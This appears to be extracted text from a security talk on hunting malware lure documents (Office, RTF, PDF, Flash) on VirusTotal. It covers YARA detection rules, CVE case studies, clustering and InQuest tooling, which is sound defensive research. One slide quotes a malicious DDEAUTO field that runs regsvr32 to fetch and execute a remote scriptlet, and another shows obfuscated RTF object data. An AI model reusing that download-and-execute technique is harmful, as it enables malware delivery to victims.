




Worm Charming

Harvesting Malware Lures for Fun and Profit

Pedram Amini, InQuest.net



Who I be.



- Origins: NYC born, self taught in the 90's through SoftICE & phreaking.
- Research: iDEFENSE VCP 2002-2005, TippingPoint ZDI 2005-2010.
- Share: OpenRCE.org, PaiMei, Sulley, Fuzzing (book).
- Build: Jumpshot 2010-2014, InQuest 2014+
- Deep File Inspection, Retrohunting, SOC Automation.



Worm Charming

Competitive sport in East Texas,
real-world skill for attracting
earthworms from the ground
through some form of vibration.




Agenda

What kind of lures do we want?
Where do we find these lures?
How can we dissect them?
Which are interesting?



Prolific Malware Carriers

- Typical carriers include: PDF, Office, Java, Flash, scripts in archives, etc.
- Delivery via e-mail attachment or URL.
- Trivial for attackers to envelope their payloads for obfuscation. Matryoshka capable:
 - e-mail < ZIP < DOCX < DOC < SWF
- Carrier may contain interpreted code, phishing lure, "freebie" (DDE), or exploit: CVE-2017-0199, CVE-2017-8759, CVE-2018-4878, CVE-2018-4990.




23 October 2017

CyCon U.S. Website Info Used as Decoy in Malicious Campaign

Information from [CyCon U.S. website](#) has been used in a Word document with an intent to deliver malware. This type of attack, where legitimate information is used to attract the attention of victims, is rather common and normally detected and prevented in information systems with widely used safeguards. However, NATO Cooperative Cyber Defence Centre of Excellence would like to remind that basic cyber hygiene should be followed in handling information related to trusted and well-known sources.

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
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Where to dig?


- Hybrid Analysis, Any.Run, etc.
- Crawl(IOCs(Twitter/RSS)).
- Mapping actor infrastructure.
- Enterprise e-mail spool.
- Virus Total Intelligence.



- Self sourcing IOCs:
 - <https://github.com/InQuest/ThreatIngestor>
 - <https://github.com/InQuest/python-iocextract>
- Most payloads are multi-stage.
- Malware authors must either **pwn** or **own**.
- Pivoting to additional IOCs:
 - registrant > domain > DNS server > IP address
 - SSL cert, tracking IDs, filename patterns, etc...
 - shodan.io, greynoise.io, domaintools.com, virustotal.com **gratis...**




We'll dive into worm charming over VTI...



VTI: Daily Uploads

~1.3M total < ~1M distinct < ~900k distinct new < ~400k malicious

~1.3m




VTI: File Distribution

~400k PDF < ~40k Office < ~15k Java < ~12k Excel ...

~470k


```
// any Office document with macros.
rule macro_hunter
{
  strings:
    $ole_marker      = {D0 CF 11 E0 A1 B1 1A E1}
    $macro_sheet_h1  = {85 00 ?? ?? ?? ?? ?? ?? 01 01}
    $macro_sheet_h2  = {85 00 ?? ?? ?? ?? ?? ?? 02 01}
  condition:
    new_file and (
      tags contains "macros" or (
        $ole_marker at 0 and 1 of ($macro_sheet_h*)
      )
    )
}
```

Hunt: Macro




Hunt Stats: Office Macros

1/15 through 3/15 < 1000/day on average.


```
// any office document with any AV hits or with embedded ActiveX.
rule maldoc_hunter
{
  strings:
    $docx_magic = /^\\x50\\x4B\\x03\\x04\\x14\\x00\\x06\\x00/
    $activex_1  = "word/activeX/activeX1.bin"
    $activex_2  = "word/activeX/activeX1.xml"
  condition:
    new_file and not (uint16be(0x0) == 0x4d5a)
    and
    (
      file_type contains "office" or
      tags         contains "office" or
      $docx_magic at 0
    )
    and
    (
      positives > 0 or
      all of ($activex*)
    )
}
```

Hunt: Maldoc




Hunt Stats: Office Documents

1/15 through 3/15 < 500/day on average.

~1.5k


```
// any JAR files with any AV hits.
rule maljar_hunter
{
  condition:
    new_file and positives > 0 and
    (
      tags contains "jar" or
      tags contains "class" or
      file_type contains "jar" or
      file_type contains "class"
    )
}
```

Hunt: MalJAR




Hunt Stats: Java Files

1/15 through 3/15 < 500/day on average.

```
// any RTF files with any AV hits.
rule rtf_hunter
{
  strings:
    $magic = "{\\rt"
  condition:
    new_file and positives > 0 and
    (
      file_type contains "rtf" or
      tags      contains "rtf" or
      $magic    at 0
    )
}
```

Hunt: RTF




Hunt Stats: RTF Documents

1/15 through 3/15 < 250/day on average.

~2.25k


```
// any PDF file with JavaScript.
rule pdfjs_hunter
{
  strings:
    $pdf_header = "%PDF"
  condition:
    new_file and
    (
      file_type contains "pdf" or
      $pdf_header in (0..1024)
    )
    and tags contains "js-embedded"
}
```

Hunt: PDF w/JS




Hunt Stats: PDF Documents

1/15 through 3/15 < 200/day on average.

~2.45k

```
// any office document with an embedded SWF.  
// note that we disqualify PE files here,  
// due to misclassification.  
rule swfdoc_hunter  
{  
  strings:  
    $a = { 6e db 7c d2 6d ae cf 11 96 b8 44 45 53 54 00 00 }  
    $b = { 57 53 }  
  condition:  
    $a and $b and not (uint16be(0x0) == 0x4d5a)  
}
```



Hunt Stats: SWF in Document

1/15 through 3/15 < 20/day on average.

~2.5k

So we're left with ~2,500 samples/day to examine.


(<1% of the corpus)



Good Vibrations



- 🕵️ MIME evasions ... "**{\rt**" vs "**{\rtf1**" ... "**%PDF**" not at 0.
- 🤔 Burning your 0day via symbols: "shellcode", "exploit", "heapspray", etc.
- 💣 UTF-8 BOM (Byte Order Mark), dates back to 2013.
 - 0xEFBBBF
- 🌽 Chaff ...



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w:rsidR="0043037A"><w:rPr><w:b/></w:rPr><w:instrText>\</w:instrText></w:r><w:r w:rsidR="0043037A"
w:rsidRPr="0043037A"><w:rPr><w:b/></w:rPr><w:instrText>\</w:instrText></w:r><w:r
w:rsidR="0043037A"><w:rPr><w:b/></w:rPr><w:instrText>cmd.exe" "/c regsvr32 /u /n /s /i:"h\ "</w:instrText></w:r><w:r w:rsidR="0043037A"
w:rsidRPr="0043037A"><w:rPr><w:b/></w:rPr><w:instrText>t</w:instrText></w:r><w:r
w:rsidR="0043037A"><w:rPr><w:b/></w:rPr><w:instrText>\</w:instrText></w:r><w:r w:rsidR="0043037A"
w:rsidRPr="0043037A"><w:rPr><w:b/></w:rPr><w:instrText>t</w:instrText></w:r><w:r
w:rsidR="0043037A"><w:rPr><w:b/></w:rPr><w:instrText>\</w:instrText></w:r><w:r w:rsidR="0043037A"
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w:rsidR="006B3798"><w:rPr><w:b/></w:rPr><w:instrText>downloads.</w:instrText></w:r><w:r w:rsidR="0043037A"
w:rsidRPr="0043037A"><w:rPr><w:b/></w:rPr><w:instrText>sixflags-frightfest.com/ticket-ids scrobj.dll" "For Security
Reasons"</w:instrText></w:r><w:r w:rsidR="00513FA3" w:rsidRPr="00591163"><w:rPr><w:b/></w:rPr><w:instrText xml:space="preserve">


```
<prst="rect"><a:avLst/></a:prstGeom><a:noFill/><a:ln><a:noFill/></a:ln></pic:spPr></pic:pic>  
relativeFrom="page"><wp14:pctWidth>0</wp14:pctWidth></wp14:sizeRelH><wp14:sizeRelV  
relativeFrom="page"><wp14:pctHeight>0</wp14:pctHeight></wp14:sizeRelV></wp:anchor></w:drawing></w:r><w:r w:rsidR="00513FA3"  
w:rsidRPr="00591163"><w:rPr><w:b/></w:rPr><w:fldChar w:fldCharType="begin"/></w:r><w:r w:rsidR="00513FA3"  
w:rsidRPr="00591163"><w:rPr><w:b/></w:rPr><w:instrText xml:space="preserve"> DDEAUTO </w:instrText></w:r><w:r  
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w:rsidRPr="0043037A"><w:rPr><w:b/></w:rPr><w:instrText>\</w:instrText></w:r><w:r  
w:rsidR="0043037A"><w:rPr><w:b/></w:rPr><w:instrText>\cmd.exe" "/c reg</w:r><w:r  
w:rsidR="0043037A"><w:rPr><w:b/></w:rPr><w:instrText>t</w:instrText></w:r>  
w:rsidR="0043037A"><w:rPr><w:b/></w:rPr><w:instrText>\</w:instrText></w:r><w:r w:rsidR="0043037A"  
w:rsidRPr="0043037A"><w:rPr><w:b/></w:rPr><w:instrText>\</w:instrText></w:r><w:r  
w:rsidR="0043037A"><w:rPr><w:b/></w:rPr><w:instrText>p://</w:instrText></w:r>  
w:rsidR="006B3798"><w:rPr><w:b/></w:rPr><w:instrText>downloads.</w:instrText></w:r><w:r w:rsidR="0043037A"  
w:rsidRPr="0043037A"><w:rPr><w:b/></w:rPr><w:instrText>sixflags-frightfest.c</w:instrText></w:r><w:r w:rsidR="0043037A"
```




Good Vibrations



- 🕵️ MIME evasions ... "**{\rt**" vs "**{\rtf1**" ... "**%PDF**" not at 0.
- 🧠 Burning your 0day via symbols: "shellcode", "exploit", "heapspray", etc.
- 💣 UTF-8 BOM (Byte Order Mark), dates back to April of 2013.
- 🌽 Chaff ...
- **February of 2018, RTF Byte-Nibble published by Kaspersky.**
 - ***April of 2018, CVE-2018-8174 0day ITW utilizes it.***



☐ Free Spacing

Search Text

767 Matches

Replaced Text

Copy

```
{\object\objautlink\objupdate\rs!tpict\objw10\objh10\objscalex99\objscaley101{\* \objclass Word.Document.8}{\objdata
017\'28052\'62004\'14006\'39029\'56006\'21003\'48003\'27095\'98003\'96
005\'88007\'376F4\'564C9\'35651\'44327\'944C6\'19491\'886E6\'746B8\'35
008\'46004\'48008\'59005\'23006\'31008\'72009\'91002\'65005\'78005\'19
0a5\'56005\'35001\'35d02\'98cf7\'19118\'97e05\'14a15\'58b18\'861a3\'44
e11\'46002\'23001\'46009\'96009\'94009\'62004\'51007\'31002\'67009\'15
002\'22001\'94004\'94003\'75001\'56004\'41009\'373e7\'98003\'16032\'92
008\'85fe5\'47ff8\'62098\'27001\'58067\'33007\'33002\'99003\'75008\'51
006\'67006\'46001\'69005\'25008\'17003\'98009\'17013\'54004\'63001\'24
008\'38013\'17002\'34004\'96004\'17006\'67001\'79007\'43009\'59001\'91
103\'29005\'94008\'98021\'71008\'75002\'29009\'62011\'25004\'94005\'92
003\'98fe2\'43ff6\'71ff9\'48ff8\'41008\'17008\'31006\'81006\'88006\'56
003\'86004\'26008\'52ff6\'91ff9\'16ff7\'88ff1\'89ff1\'69ff1\'82ff1\'35
ff9\'63ff4\'83ff3\'33ff8\'86ff7\'21ff4\'63ff8\'88ff8\'54ff7\'43ff5\'27
ff4\'27ff9\'84ff2\'12ff8\'76ff3\'52ff3\'31ff7\'54ff9\'68ff5\'93ff7\'41
ff4\'69ff7\'16ff7\'26ff7\'18ff5\'23ff7\'51ff6\'87ff8\'48ff8\'51ff1\'21
ff5\'22ff2\'85ff4\'93ff7\'85ff7\'62ff8\'47ff2\'51ff5\'24ff3\'27ff9\'14
ff4\'14ff5\'77ff1\'98ff9\'45ff6\'41ff8\'37ff9\'34ff4\'82ff2\'84ff3\'61
ff2\'74ff1\'43ff1\'42ff1\'98ff7\'39ff1\'11ff3\'95ff1\'53ff6\'91ff2\'42
ff7\'74ff4\'13ff5\'45ff5\'87ff3\'16ff1\'77ff7\'85ff3\'49ff2\'64ff8\'26
```

[illegible]

Digging Deeper

- Sandboxed detonation.
- IOC extraction.
- Hunt / pivot crawling.
- Static analysis via OSS.



OSS Primitives: Java

Jad-Retro	<u>http://jadretro.sourceforge.net/</u>
CFR 	<u>https://www.benf.org/other/cfr/</u>
JDCore 	<u>http://java-decompiler.github.io/</u>
FernFlower	<u>https://github.com/JetBrains/intellij-community/tree/master/plugins/java-decompiler/engine</u>
Procyon	<u>https://bitbucket.org/mstrobels/procyon/wiki/Java%20Decompiler</u>



OSS Primitives: Flash



flasm	<u>http://flasm.sourceforge.net/</u>
xxxswf	<u>https://pypi.org/project/xxxswf/</u>
FFDec	<u>https://www.free-decompiler.com/flash/</u>
SWFDump	<u>http://www.swftools.org/swfdump.html</u>
JPEXS	<u>https://github.com/jindrapetrik/jpexs-decompiler</u>



OSS Primitives: PDF



PDF{id,parser}	<u>https://blog.didierstevens.com/programs/pdf-tools/</u>
PeePDF	<u>https://github.com/jesparza/peepdf</u>
PDFtoText	<u>https://pypi.org/project/pdftotext/</u>
ExifTool	<u>https://www.sno.phy.queensu.ca/~phil/exiftool/</u>




OSS Primitives: Office



OLEDump	<u>https://blog.didierstevens.com/programs/oledump-py/</u>
OLEFile	<u>https://www.decalage.info/olefile</u>
cat{doc,ppt,xls}	<u>https://github.com/petewarden/catdoc</u>
xlsx2csv	<u>https://github.com/dilshod/xlsx2csv</u>
docx2txt	<u>http://docx2txt.sourceforge.net/</u>

Data Flow



Real world examples.

CVE-2017-8759, Microsoft .NET WSDL
code-injection vulnerability.

CVE-2018-4878, Adobe Flash DRM UAF
vulnerability.

CVE-2018-8174, Microsoft IE VBScript UAF
vulnerability.



**SHOW ME WHAT
YOU GOT!**

Real world examples.

CVE-2017-8759, Microsoft .NET WSDL code-injection vulnerability.

CVE-2018-4878, Adobe Flash DRM UAF vulnerability.


CVE-2018-8174, Microsoft IE VBScript UAF vulnerability.



CVE-2018-8174

- Sample initially uploaded to VT on 4/18/2018 from a US based source.
- The campaign launches on 4/25/2018.
- Next uploads don't appear until 5/9 and range from: IN, IT, PH, SA, US.
- KR, DE, FR, CN, and SG follow on 5/10.
- Initial AV detection was good, 16 vendors.
- Worm charming vibration: "\\objupdate", RTF Byte Nibble (from 2/2018)

Detections Evolution



CVE-2018-8174

CVE-2018-8174

 2018-04-18T06:50:30 			
Ad-Aware	! Exploit.RTF-ObfsStrm.Gen	Antiy-AVL	! Trojan[Exploit]/RTF.CVE-2017-0199
Arcabit	! Exploit.RTF-ObfsStrm.Gen	Baidu	! Win32.Exploit.CVE-2017-0199.f
BitDefender	! Exploit.RTF-ObfsStrm.Gen	CAT-QuickHeal	! Exp.RTF.CVE-2017-0199.AO
Emsisoft	! Exploit.RTF-ObfsStrm.Gen (B)	eScan	! Exploit.RTF-ObfsStrm.Gen
F-Secure	! Exploit.RTF-ObfsStrm.Gen	GData	! Script.Exploit.CVE-2017-0199.A
Kaspersky	! HEUR:Exploit.MSOffice.Generic	MAX	! Malware (ai Score=89)
NANO-Antivirus	! Exploit.Rtf.Heuristic-rtf.dinbqn	TrendMicro	! HEUR_RTFMALFORM
TrendMicro-HouseCall	! Mal_CVE20170199-2	ZoneAlarm	! HEUR:Exploit.MSOffice.Generic

CVE-2018-4878


- Sample initially uploaded to VT on 1/22/2018 from South Korea.
- Kaspersky and ZoneAlarm each heuristically identified the SWF 0day.
- @issuemakerslab discovers the 0day in-the-wild and publicizes on 2/1.
- Later, we see uploads from the US and detection jumps to 9 vendors.
- More uploads on 2/2 from SG, RU, and JP.
- By 2/5 20 vendors have proper detection.
- Worm charming vibration: RTF w/SWF, SWF exits on debugger detection.



Simon Choi
@issuemakerslab

Following

Flash 0day vulnerability that made by North Korea used from mid-November 2017. They attacked South Koreans who mainly do research on North Korea. (no patch yet)



2:11 AM - 1 Feb 2018

203 Retweets 206 Likes




15

203

206



Detections Evolution



CVE-2018-4878

```
rule SWF_Exit_On_Debugger_Detection
{
    strings:
        $as = "package"
        $dbg = /if\s*\(\s*Capabilities.isDebugger[^)]*\)\s*\{?\s*return/

    condition:
        $as at 0 and
        file_filename matches /\.*\s.as/i and
        $dbg
}
```

```
if(Capabilities.isDebugger)
{
    return;
}
```


CVE-2017-8759

- Sample initially uploaded to VT on 8/24/2017 with 0% detection.
- From 8/24 through 9/12 midday, there are 11 additional scans... 0%.
- 0day campaign is discovered by FireEye and published on 9/12/2017.
- By end of day 9/12, Trend Micro and Symantec add detection.
- By end of day 9/13, 29 vendors have detection. Detection settles on 9/15.
- Worm charming vibrations: evasive magic, chaff (RTF + 0LE + \n).



2017-08-24T09:06:07



Ad-Aware



Undetected

AegisLab



Undetected

AhnLab-V3



Undetected

ALYac



Undetected

Antiy-AVL



Undetected

Arcabit



Undetected

Avast



Undetected

AVG



Undetected

Avira



Undetected

AVware



Undetected

Baidu



Undetected

BitDefender



Undetected

Bkav



Undetected

CAT-QuickHeal



Undetected

ClamAV



Undetected

CMC



Undetected

Comodo



Undetected

Cyren



Undetected

DrWeb



Undetected

Emsisoft



Undetected

eScan



Undetected

ESET-NOD32



Undetected

F-Prot



Undetected

F-Secure




Undetected

Previous Analyses

Date order ▲

2017-08-24T09:06:07	0 / 58
2017-08-30T11:02:48	0 / 58
2017-09-08T06:25:08	0 / 58
2017-09-08T21:01:39	0 / 59
2017-09-12T17:20:58	0 / 58
2017-09-12T18:20:27	0 / 58
2017-09-12T18:28:37	0 / 57
2017-09-12T18:34:53	0 / 58
2017-09-12T18:40:33	0 / 58
2017-09-12T19:05:22	0 / 58

Detections Evolution



Clustering / Filtering

- Machine learning algorithms.
- File specific anchors.
- VTI specific anchors.







Notes on Clustering



- Bag-of-Words (BoW) TF/IDF
 - How important is a keyword to the sample (semantics, embedded logic)?
- K-Means Clustering
 - Applied over feature vectors. In our case, replication of at-a-glance obfuscation detection.
- Locality-sensitive hashing (LSH), MinHash, Jaccard similarity
 - <https://inquest.net/blog/2019/02/28/Ex-Machina-Family-Matters>
- AV detection names, XMP IDs, IOCs, metadata anchors, etc.
- VTI user uploader ID and filename patterns.



Feature Selection


- Data  Features  Algorithm
- Machine Learning models are primarily driven by the features you select.
- We lean on two kinds of features for our classifiers: Visual and Semantic
- Our feature vector is ~200, 50/50 split between visual and semantic.
- Algorithms include Linear Regression, Support Vector Machine, Random Forest, Gradient Boost.

Clustering via XMP IDs

- Adobe **E**xtensible **M**etadata **P**latform (XMP).
- Defines a standard of mapping asset relationships.
 - Parent-child. Revision.
- Implemented via OriginalDocumentID, DocumentID, and InstanceID.
- XML content is updated on save/copy and embedded within the asset.



XMP ID Family Trees




How is this useful?

- Graphical assets are commonly re-used across malware lures.
 - "Enable Macros"
- Graphical assets are commonly lifted from legitimate sources.
 - Lures embedding legitimately generated content.
- Hashes < OCR < Perception Hashes < XMP IDs
- Tracking, pivoting, clustering. We watch ~1000 XMP IDs.

Announcing:
<https://labs.inquest.net>

labs.inquest.net

- Document Dissector / Explorer
 - ~1M initial samples.
- **YARA generators and helpers...**
 - mixed hex case helper
 - uint() magic conversion
 - base64 regex generator



labs.inquest.net

- YARA helpers

mixed hex case example...

```
$ curl -sX GET -d instring=powershell \
https://labs.inquest.net/api/yara/mixcase |
jq .data
```

```
[57]0[46]f[57]7[46]5[57]2[57]3[46]8[46]5[46]c[46]c
```

- File Scanner (DFI light)

- ~1M initial samples.

- Reputation Aggregation

- ~50 public domain sources.

- Searchable and API access.

- IOC Aggregation

- Twitter, RSS, samples, etc.

- Searchable and API access

labs.inquest.net

- YARA helpers

```
# uint() early exit example...
```

```
$ curl -sX GET -d trigger="{\\rtf1" \ ~50 public domain sources.  
https://labs.inquest.net/api/yara/trigger | jq .data
```

- mixed hex case helper

```
/* trigger = '{\\rtf1' */
```

```
(uint32be(0x0) == 0x7b5c7274 and uint16be(0x4) == 0x6631)
```

- File Scanner (DFI light)

- ~1M initial samples.

- Reputation Aggregation

- Searchable and API access.

- IOC Aggregation

- Twitter, RSS, samples, etc.

- Searchable and API access

labs.inquest.net

base64 regex generation example...

```
$ curl -sX GET -d instring="powershell\w+(hidden|execute)\w+(hidden|execute)" https://labs.inquest.net/api/yara/base64re | jq .data
```

```
(cG\x39\x33ZXJzaGVsbHcrZXhlY\x33V\x30ZXcrZXhlY\x33V\x30Z[Q-Za-f] |  
cG\x39\x33ZXJzaGVsbHcrZXhlY\x33V\x30ZXcraGlkZGVu[\x2b\x2f-\x39A-Za-z] |  
cG\x39\x33ZXJzaGVsbHcraGlkZGVudyt leGVjdXRl[\x2b\x2f-\x39A-Za-z] |  
cG\x39\x33ZXJzaGVsbHcraGlkZGVudytoaWRkZW[\x34-\x37] | [\x2b\x2f-\x39A-Za-z] [\x2b\x2f-\x39A-Za-z]  
[\x31\x35\x39BFJNRVZdh lptx]wb\x33d lcnNoZWxsdytleGVjdXRldyt leGVjdXRl[\x2b\x2f-\x39A-Za-z] | [\x2b\x2f-  
\x39A-Za-z] [\x2b\x2f-\x39A-Za-z] [\x31\x35\x39BFJNRVZdh lptx]wb\x33d lcnNoZWxsdytleGVjdXRldytoaWRkZW[\x34-  
\x37] | [\x2b\x2f-\x39A-Za-z] [\x2b\x2f-\x39A-Za-z]  
[\x31\x35\x39BFJNRVZdh lptx]wb\x33d lcnNoZWxsdytoaWRkZW\x35\x33K\x32V\x34ZWN\x31dG[U-X] | [\x2b\x2f-\x39A-  
Za-z] [\x2b\x2f-\x39A-Za-z] [\x31\x35\x39BFJNRVZdh lptx]wb\x33d lcnNoZWxsdytoaWRkZW\x35\x33K\x32hpZGRlb[g-  
v] | [\x2b\x2f-\x39A-Za-z] [\x33HXn]Bvd\x32Vyc\x32h lbGx\x33K\x32V\x34ZWN\x31dGV\x33K\x32V\x34ZWN\x31dG[U-  
X] | [\x2b\x2f-\x39A-Za-z] [\x33HXn]Bvd\x32Vyc\x32h lbGx\x33K\x32V\x34ZWN\x31dGV\x33K\x32hpZGRlb[g-v] |  
[\x2b\x2f-\x39A-Za-z] [\x33HXn]Bvd\x32Vyc\x32h lbGx\x33K\x32hpZGRlbncrZXhlY\x33V\x30Z[Q-Za-f] | [\x2b\x2f-  
\x39A-Za-z] [\x33HXn]Bvd\x32Vyc\x32h lbGx\x33K\x32hpZGRlbncraGlkZGVu[\x2b\x2f-\x39A-Za-z] )
```

- ~1M initial samples.

- Searchable and API access

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- Document Dissector / Explorer
 - ~1M initial samples.
- YARA generators and helpers
 - mixed hex case
 - uint() triggers
 - base64 regexes
- Reputation Aggregation
 - ~25 public domain sources.
- IOC Aggregation
 - Twitter, blogs, Github
- **Everything is API Accessible.**

Get in touch.



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
Special thanks to my colleagues:

Rob King, [@thekingadrob](#)

William MacArthur, [@anti_exploit](#)

Amir Niakan, [@DissectMalware](#)

Adam Musciano, [@MuscianoAdam](#)



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